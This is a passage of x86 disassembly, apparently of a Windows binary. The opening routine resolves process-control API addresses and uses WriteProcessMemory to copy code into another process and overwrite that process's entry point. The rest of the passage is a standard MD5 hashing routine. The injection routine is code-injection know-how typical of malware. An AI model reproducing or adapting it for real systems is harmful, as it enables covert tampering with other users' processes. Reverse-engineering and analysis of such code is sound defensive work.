		push	4
		push	offset dword_4E198C
		push	offset dword_4E198C
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aExitprocess ; "ExitProcess"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1990, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1990
		push	offset dword_4E1990
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aOpenprocess ; "OpenProcess"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1994, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1994
		push	offset dword_4E1994
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSleep	; "Sleep"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1998, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E1998
		push	offset dword_4E1998
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aClosehandle ; "CloseHandle"
		call	sub_4D9D79
		pop	ecx
		pop	ecx
		mov	ds:dword_4E199C, eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		push	offset dword_4E199C
		push	offset dword_4E199C
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		mov	eax, offset sub_4D747D
		sub	eax, offset sub_4D7333
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_1C]
		push	offset sub_4D7333
		push	offset sub_4D7333
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+28h]
		mov	[ebp+var_18], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	20h
		push	offset sub_4D7482
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_4DE028	; WriteProcessMemory
		pop	edi
		pop	esi
		leave
		retn
sub_4D7494	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D7798	proc near		; CODE XREF: _4:004CEECCp
					; sub_4D3610+209p
		push	esi
		mov	esi, ecx
		call	sub_4D79B1
		mov	eax, esi
		pop	esi
		retn
sub_4D7798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D77A4	proc near		; CODE XREF: sub_4D3610+21Dp
					; sub_4D785D+112p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, ecx
		cmp	byte ptr [ebx+68h], 0
		jnz	loc_4D7858
		mov	edx, [ebx+10h]
		mov	ecx, [ebp+arg_4]
		push	esi
		mov	eax, edx
		mov	esi, ecx
		lea	edx, [edx+ecx*8]
		shr	eax, 3
		shl	esi, 3
		and	eax, 3Fh
		cmp	edx, esi
		push	edi
		mov	[ebx+10h], edx
		jnb	short loc_4D77D7
		inc	dword ptr [ebx+14h]


loc_4D77D7:				; CODE XREF: sub_4D77A4+2Ej
		mov	edx, ecx
		push	40h
		shr	edx, 1Dh
		add	[ebx+14h], edx
		pop	edx
		sub	edx, eax
		cmp	ecx, edx
		mov	[ebp+var_4], edx
		jb	short loc_4D783B
		mov	esi, [ebp+arg_0]
		mov	ecx, edx
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [ebx+18h]
		and	ecx, 3
		push	eax
		rep movsb
		mov	ecx, ebx
		call	sub_4D79D8
		mov	esi, [ebp+var_4]
		lea	eax, [esi+3Fh]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_4D7834
		mov	edi, eax


loc_4D781A:				; CODE XREF: sub_4D77A4+8Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		lea	eax, [eax+edi-3Fh]
		push	eax
		call	sub_4D79D8
		add	edi, 40h
		add	esi, 40h
		cmp	edi, [ebp+arg_4]
		jb	short loc_4D781A


loc_4D7834:				; CODE XREF: sub_4D77A4+72j
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		jmp	short loc_4D783D
; ---------------------------------------------------------------------------


loc_4D783B:				; CODE XREF: sub_4D77A4+45j
		xor	esi, esi


loc_4D783D:				; CODE XREF: sub_4D77A4+95j
		mov	edx, [ebp+arg_0]
		sub	ecx, esi
		lea	edi, [eax+ebx+18h]
		mov	eax, ecx
		add	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi


loc_4D7858:				; CODE XREF: sub_4D77A4+Bj
		pop	ebx
		leave
		retn	8
sub_4D77A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D785D	proc near		; CODE XREF: sub_4D3610+22Fp

var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], esi
		cmp	[esi+68h], bl
		mov	[ebp+var_4C], 80h
		mov	[ebp+var_4B], bl
		mov	[ebp+var_4A], bl
		mov	[ebp+var_49], bl
		mov	[ebp+var_48], bl
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], bl
		mov	[ebp+var_44], bl
		mov	[ebp+var_43], bl
		mov	[ebp+var_42], bl
		mov	[ebp+var_41], bl
		mov	[ebp+var_40], bl
		mov	[ebp+var_3F], bl
		mov	[ebp+var_3E], bl
		mov	[ebp+var_3D], bl
		mov	[ebp+var_3C], bl
		mov	[ebp+var_3B], bl
		mov	[ebp+var_3A], bl
		mov	[ebp+var_39], bl
		mov	[ebp+var_38], bl
		mov	[ebp+var_37], bl
		mov	[ebp+var_36], bl
		mov	[ebp+var_35], bl
		mov	[ebp+var_34], bl
		mov	[ebp+var_33], bl
		mov	[ebp+var_32], bl
		mov	[ebp+var_31], bl
		mov	[ebp+var_30], bl
		mov	[ebp+var_2F], bl
		mov	[ebp+var_2E], bl
		mov	[ebp+var_2D], bl
		mov	[ebp+var_2C], bl
		mov	[ebp+var_2B], bl
		mov	[ebp+var_2A], bl
		mov	[ebp+var_29], bl
		mov	[ebp+var_28], bl
		mov	[ebp+var_27], bl
		mov	[ebp+var_26], bl
		mov	[ebp+var_25], bl
		mov	[ebp+var_24], bl
		mov	[ebp+var_23], bl
		mov	[ebp+var_22], bl
		mov	[ebp+var_21], bl
		mov	[ebp+var_20], bl
		mov	[ebp+var_1F], bl
		mov	[ebp+var_1E], bl
		mov	[ebp+var_1D], bl
		mov	[ebp+var_1C], bl
		mov	[ebp+var_1B], bl
		mov	[ebp+var_1A], bl
		mov	[ebp+var_19], bl
		mov	[ebp+var_18], bl
		mov	[ebp+var_17], bl
		mov	[ebp+var_16], bl
		mov	[ebp+var_15], bl
		mov	[ebp+var_14], bl
		mov	[ebp+var_13], bl
		mov	[ebp+var_12], bl
		mov	[ebp+var_11], bl
		mov	[ebp+var_10], bl
		mov	[ebp+var_F], bl
		mov	[ebp+var_E], bl
		mov	[ebp+var_D], bl
		jz	short loc_4D7943
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jz	short loc_4D79AA
		add	esi, 58h
		movsd
		movsd
		movsd
		movsd
		jmp	short loc_4D79AA
; ---------------------------------------------------------------------------


loc_4D7943:				; CODE XREF: sub_4D785D+D4j
		lea	edi, [esi+10h]
		push	8
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_4D82B3
		mov	eax, [edi]
		push	38h
		shr	eax, 3
		and	eax, 3Fh
		pop	ecx
		cmp	eax, ecx
		jb	short loc_4D7966
		push	78h
		pop	ecx


loc_4D7966:				; CODE XREF: sub_4D785D+104j
		sub	ecx, eax
		lea	eax, [ebp+var_4C]
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4D77A4
		lea	eax, [ebp+var_C]
		push	8
		push	eax
		mov	ecx, esi
		call	sub_4D77A4
		lea	edi, [esi+58h]
		push	10h
		push	esi
		push	edi
		mov	ecx, esi
		call	sub_4D82B3
		cmp	[ebp+arg_0], ebx
		jz	short loc_4D79A0
		mov	esi, edi
		mov	edi, [ebp+arg_0]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+var_4]


loc_4D79A0:				; CODE XREF: sub_4D785D+135j
		xor	eax, eax
		lea	edi, [esi+18h]
		stosb
		mov	byte ptr [esi+68h], 1


loc_4D79AA:				; CODE XREF: sub_4D785D+DBj
					; sub_4D785D+E4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4D785D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D79B1	proc near		; CODE XREF: sub_4D7798+3p
		xor	eax, eax
		mov	dword ptr [ecx], 67452301h
		mov	[ecx+68h], al
		mov	[ecx+10h], eax
		mov	[ecx+14h], eax
		mov	dword ptr [ecx+4], 0EFCDAB89h
		mov	dword ptr [ecx+8], 98BADCFEh
		mov	dword ptr [ecx+0Ch], 10325476h
		retn
sub_4D79B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D79D8	proc near		; CODE XREF: sub_4D77A4+64p
					; sub_4D77A4+80p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		push	40h
		mov	eax, [esi]
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	[ebp+var_8], eax
		mov	eax, [esi+8]
		mov	[ebp+var_C], eax
		mov	eax, [esi+0Ch]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_4D82FA
		mov	edi, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	eax, edi
		mov	ecx, ebx
		not	eax
		and	eax, [ebp+var_10]
		and	ecx, edi
		mov	edx, edi
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		add	eax, [ebp+var_50]
		lea	ecx, [ecx+eax-28955B88h]
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [ebp+var_10]
		add	ecx, [ebp+var_4C]
		lea	edx, [edx+ecx-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		not	edx
		and	edx, edi
		mov	edi, ecx
		and	edi, eax
		or	edx, edi
		add	edx, [ebp+var_48]
		lea	edx, [ebx+edx+242070DBh]
		mov	ebx, ecx
		mov	edi, edx
		shr	edi, 0Fh
		shl	edx, 11h
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_C], edi
		or	edx, ebx
		mov	ebx, [ebp+var_8]
		add	edx, [ebp+var_44]
		lea	ebx, [ebx+edx-3E423112h]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_40]
		lea	eax, [eax+ebx-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		mov	eax, edx
		add	edi, edx
		mov	[ebp+var_4], edi
		and	eax, [ebp+var_4]
		not	edi
		and	edi, [ebp+var_C]
		or	edi, eax
		add	edi, [ebp+var_3C]
		lea	ecx, [ecx+edi+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, [ebp+var_4]
		mov	ecx, eax
		mov	edi, eax
		and	edi, [ebp+var_4]
		mov	ebx, eax
		not	ecx
		and	ecx, edx
		or	ecx, edi
		mov	edi, [ebp+var_C]
		add	ecx, [ebp+var_38]
		lea	edi, [edi+ecx-57CFB9EDh]
		mov	ecx, edi
		shr	ecx, 0Fh
		shl	edi, 11h
		or	ecx, edi
		add	ecx, eax
		mov	edi, ecx
		and	ebx, ecx
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-2B96AFFh]
		mov	edi, edx
		shl	edi, 16h
		shr	edx, 0Ah
		or	edi, edx
		add	edi, ecx
		mov	edx, edi
		and	ebx, edi
		not	edx
		and	edx, eax
		mov	[ebp+var_8], edi
		or	edx, ebx
		mov	ebx, [ebp+var_4]
		add	edx, [ebp+var_30]
		lea	ebx, [ebx+edx+698098D8h]
		mov	edx, ebx
		shr	edx, 19h
		shl	ebx, 7
		or	edx, ebx
		add	edx, edi
		mov	ebx, edx
		and	edi, edx
		not	ebx
		and	ebx, ecx
		or	ebx, edi
		add	ebx, [ebp+var_2C]
		lea	eax, [eax+ebx-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		mov	ebx, edi
		not	eax
		and	eax, [ebp+var_8]
		and	ebx, edx
		or	eax, ebx
		add	eax, [ebp+var_28]
		lea	ecx, [ecx+eax-0A44Fh]
		mov	ebx, ecx
		shr	ebx, 0Fh
		shl	ecx, 11h
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, edi
		mov	eax, ebx
		and	ecx, ebx
		not	eax
		and	eax, edx
		mov	[ebp+var_C], ebx
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax-76A32842h]
		mov	eax, ecx
		shl	eax, 16h
		shr	ecx, 0Ah
		or	eax, ecx
		add	eax, ebx
		mov	ecx, eax
		and	ebx, eax
		not	ecx
		and	ecx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_20]
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		mov	edx, eax
		add	ecx, eax
		mov	[ebp+var_4], ecx
		and	edx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	ecx, edx
		add	ecx, [ebp+var_1C]
		lea	edi, [edi+ecx-2678E6Dh]
		mov	ecx, edi
		shr	ecx, 14h
		shl	edi, 0Ch
		or	ecx, edi
		add	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		mov	edi, ecx
		not	[ebp+arg_0]
		mov	edx, [ebp+arg_0]
		and	edi, [ebp+var_4]
		and	edx, eax
		mov	ebx, ecx
		or	edx, edi
		mov	edi, [ebp+var_C]
		add	edx, [ebp+var_18]
		lea	edi, [edi+edx-5986BC72h]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	[ebp+var_10], edx
		and	ebx, edx
		not	[ebp+var_10]
		mov	edi, [ebp+var_10]
		and	edi, [ebp+var_4]
		or	edi, ebx
		mov	ebx, ecx
		add	edi, [ebp+var_14]
		lea	eax, [eax+edi+49B40821h]
		mov	edi, eax
		shl	edi, 16h
		shr	eax, 0Ah
		or	edi, eax
		mov	eax, [ebp+arg_0]
		add	edi, edx
		and	eax, edx
		and	ebx, edi
		or	eax, ebx
		mov	ebx, [ebp+var_4]
		add	eax, [ebp+var_4C]
		lea	eax, [ebx+eax-9E1DA9Eh]
		mov	ebx, eax
		shr	ebx, 1Bh
		shl	eax, 5
		or	ebx, eax
		mov	eax, [ebp+var_10]
		and	eax, edi
		add	ebx, edi
		mov	[ebp+arg_0], eax
		mov	eax, edx
		and	eax, ebx
		mov	[ebp+var_4], ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		or	eax, ebx
		add	eax, [ebp+var_38]
		lea	ecx, [ecx+eax-3FBF4CC0h]
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		mov	ecx, edi
		add	eax, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_4]
		mov	ebx, eax
		and	ebx, edi
		or	ecx, ebx
		add	ecx, [ebp+var_24]
		lea	edx, [edx+ecx+265E5A51h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		and	ecx, [ebp+var_4]
		not	edx
		and	edx, eax
		mov	ebx, [ebp+var_C]
		or	edx, ecx
		add	edx, [ebp+var_50]
		lea	edi, [edi+edx-16493856h]
		mov	edx, eax
		mov	ecx, edi
		shl	ecx, 14h
		shr	edi, 0Ch
		or	ecx, edi
		mov	edi, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	edi, ecx
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_3C]
		lea	edx, [edi+edx-29D0EFA3h]
		mov	edi, edx
		shr	edi, 1Bh
		shl	edx, 5
		or	edi, edx
		mov	edx, ebx
		add	edi, ecx
		mov	[ebp+var_4], edi
		mov	edi, ebx
		and	edi, [ebp+var_4]
		not	edx
		and	edx, ecx
		or	edx, edi
		add	edx, [ebp+var_28]
		lea	eax, [eax+edx+2441453h]
		mov	edx, eax
		shr	edx, 17h
		shl	eax, 9
		or	edx, eax
		mov	eax, ecx
		add	edx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_4]
		mov	edi, edx
		and	edi, ecx
		or	eax, edi
		add	eax, [ebp+var_14]
		lea	edi, [ebx+eax-275E197Fh]
		mov	eax, edi
		shr	eax, 12h
		shl	edi, 0Eh
		or	eax, edi
		mov	edi, [ebp+var_4]
		add	eax, edx
		mov	ebx, eax
		and	ebx, [ebp+var_4]
		not	edi
		and	edi, edx
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_40]
		lea	ecx, [ecx+edi-182C0438h]
		mov	edi, ecx
		shl	edi, 14h
		shr	ecx, 0Ch
		or	edi, ecx
		mov	ecx, edx
		add	edi, eax
		not	ecx
		and	ecx, eax
		and	ebx, edi
		or	ecx, ebx
		mov	ebx, [ebp+var_4]
		add	ecx, [ebp+var_2C]
		mov	[ebp+var_8], edi
		lea	ebx, [ebx+ecx+21E1CDE6h]
		mov	ecx, ebx
		shr	ecx, 1Bh
		shl	ebx, 5
		or	ecx, ebx
		mov	ebx, eax
		not	ebx
		add	ecx, edi
		and	ebx, edi
		mov	edi, eax
		and	edi, ecx
		or	ebx, edi
		add	ebx, [ebp+var_18]
		lea	edx, [edx+ebx-3CC8F82Ah]
		mov	edi, edx
		shr	edi, 17h
		shl	edx, 9
		or	edi, edx
		mov	edx, [ebp+var_8]
		add	edi, ecx
		mov	ebx, edi
		and	ebx, [ebp+var_8]
		not	edx
		and	edx, ecx
		or	edx, ebx
		add	edx, [ebp+var_44]
		lea	eax, [eax+edx-0B2AF279h]
		mov	edx, eax
		shr	edx, 12h
		shl	eax, 0Eh
		or	edx, eax
		mov	eax, ecx
		add	edx, edi
		not	eax
		mov	ebx, edx
		and	eax, edi
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [ebp+var_8]
		add	eax, [ebp+var_30]
		lea	eax, [ebx+eax+455A14EDh]
		mov	ebx, eax
		shl	ebx, 14h
		shr	eax, 0Ch
		or	ebx, eax
		mov	eax, edi
		add	ebx, edx
		mov	[ebp+var_8], ebx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, [ebp+var_8]
		or	eax, ebx
		add	eax, [ebp+var_1C]
		lea	ecx, [ecx+eax-561C16FBh]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, edx
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		and	ecx, [ebp+var_4]
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		not	eax
		and	eax, [ebp+var_8]
		or	eax, ecx
		mov	ecx, [ebp+var_8]
		add	eax, [ebp+var_48]
		not	ecx
		and	ecx, ebx
		lea	edi, [edi+eax-3105C08h]
		mov	eax, edi
		shr	eax, 17h
		shl	edi, 9
		or	eax, edi
		add	eax, ebx
		mov	edi, eax
		and	edi, [ebp+var_8]
		or	ecx, edi
		add	ecx, [ebp+var_34]
		lea	edx, [edx+ecx+676F02D9h]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, ebx
		add	ecx, eax
		not	edx
		mov	edi, ecx
		and	edx, eax
		and	edi, ebx
		or	edx, edi
		mov	edi, [ebp+var_8]
		add	edx, [ebp+var_20]
		lea	edi, [edi+edx-72D5B376h]
		mov	edx, edi
		shl	edx, 14h
		shr	edi, 0Ch
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		xor	edi, ecx
		xor	edi, edx
		add	edi, [ebp+var_3C]
		lea	ebx, [ebx+edi-5C6BEh]
		mov	edi, ebx
		shr	edi, 1Ch
		shl	ebx, 4
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		xor	ebx, edx
		xor	ebx, edi
		add	ebx, [ebp+var_30]
		lea	eax, [eax+ebx-788E097Fh]
		mov	ebx, eax
		shr	ebx, 15h
		shl	eax, 0Bh
		or	ebx, eax
		add	ebx, edi
		mov	eax, ebx
		xor	eax, edx
		xor	eax, edi
		add	eax, [ebp+var_24]
		lea	ecx, [ecx+eax+6D9D6122h]
		mov	eax, ecx
		shr	eax, 10h
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, ebx
		add	eax, ebx
		xor	ecx, eax
		mov	[ebp+var_C], eax
		mov	eax, ecx
		xor	eax, edi
		add	eax, [ebp+var_18]
		lea	edx, [edx+eax-21AC7F4h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		add	eax, [ebp+var_C]
		xor	ecx, eax
		add	ecx, [ebp+var_4C]
		lea	edi, [edi+ecx-5B4115BCh]
		mov	ecx, edi
		shr	ecx, 1Ch
		shl	edi, 4
		or	ecx, edi
		mov	edi, [ebp+var_C]
		mov	edx, edi
		add	ecx, eax
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_40]
		lea	ebx, [ebx+edx+4BDECFA9h]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		mov	[ebp+arg_0], edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_34]
		lea	ebx, [edi+ebx-944B4A0h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, edx
		xor	[ebp+arg_0], edi
		mov	ebx, [ebp+arg_0]
		xor	ebx, ecx
		add	ebx, [ebp+var_28]
		lea	ebx, [eax+ebx-41404390h]
		mov	eax, ebx
		shl	eax, 17h
		shr	ebx, 9
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_1C]
		lea	ebx, [ecx+ebx+289B7EC6h]
		mov	ecx, ebx
		shr	ecx, 1Ch
		shl	ebx, 4
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_50]
		lea	edx, [edx+ebx-155ED806h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, ecx
		mov	edx, ebx
		xor	edx, eax
		xor	edx, ecx
		add	edx, [ebp+var_44]
		lea	edx, [edi+edx-2B10CF7Bh]
		mov	edi, edx
		shr	edi, 10h
		shl	edx, 10h
		or	edi, edx
		mov	[ebp+arg_0], ebx
		add	edi, ebx
		xor	[ebp+arg_0], edi
		mov	edx, [ebp+arg_0]
		xor	edx, ecx
		add	edx, [ebp+var_38]
		lea	edx, [eax+edx+4881D05h]
		mov	eax, edx
		shl	eax, 17h
		shr	edx, 9
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_2C]
		lea	edx, [ecx+edx-262B2FC7h]
		mov	ecx, edx
		shr	ecx, 1Ch
		shl	edx, 4
		or	ecx, edx
		mov	edx, edi
		xor	edx, eax
		add	ecx, eax
		xor	edx, ecx
		add	edx, [ebp+var_20]
		lea	ebx, [ebx+edx-1924661Bh]
		mov	edx, ebx
		shr	edx, 15h
		shl	ebx, 0Bh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		xor	ebx, eax
		xor	ebx, ecx
		add	ebx, [ebp+var_14]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, ecx
		add	ebx, [ebp+var_48]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shl	ebx, 17h
		shr	eax, 9
		or	ebx, eax
		mov	eax, edx
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_50]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [ebp+var_34]
		lea	eax, [edx+eax+432AFF97h]
		mov	edx, eax
		shr	edx, 16h
		shl	eax, 0Ah
		or	edx, eax
		mov	eax, ebx
		add	edx, ecx
		not	eax
		or	eax, edx
		xor	eax, ecx
		add	eax, [ebp+var_18]
		lea	eax, [edi+eax-546BDC59h]
		mov	edi, eax
		shr	edi, 11h
		shl	eax, 0Fh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		push	85845DD1h
		not	eax
		or	eax, edi
		push	15h
		xor	eax, edx
		push	[ebp+var_4C]
		add	eax, [ebp+var_3C]
		lea	ebx, [ebx+eax-36C5FC7h]
		mov	eax, ebx
		shl	eax, 15h
		shr	ebx, 0Bh
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		not	ebx
		or	ebx, eax
		mov	[ebp+var_8], eax
		xor	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		not	ecx
		or	ecx, ebx
		push	ebx
		xor	ecx, eax
		mov	[ebp+var_4], ebx
		add	ecx, [ebp+var_44]
		not	eax
		lea	edx, [edx+ecx-70F3336Eh]
		mov	ecx, edx
		shr	ecx, 16h
		shl	edx, 0Ah
		or	ecx, edx
		add	ecx, ebx
		or	eax, ecx
		push	ecx
		xor	eax, ebx
		mov	[ebp+var_10], ecx
		add	eax, [ebp+var_28]
		lea	eax, [edi+eax-100B83h]
		mov	edx, eax
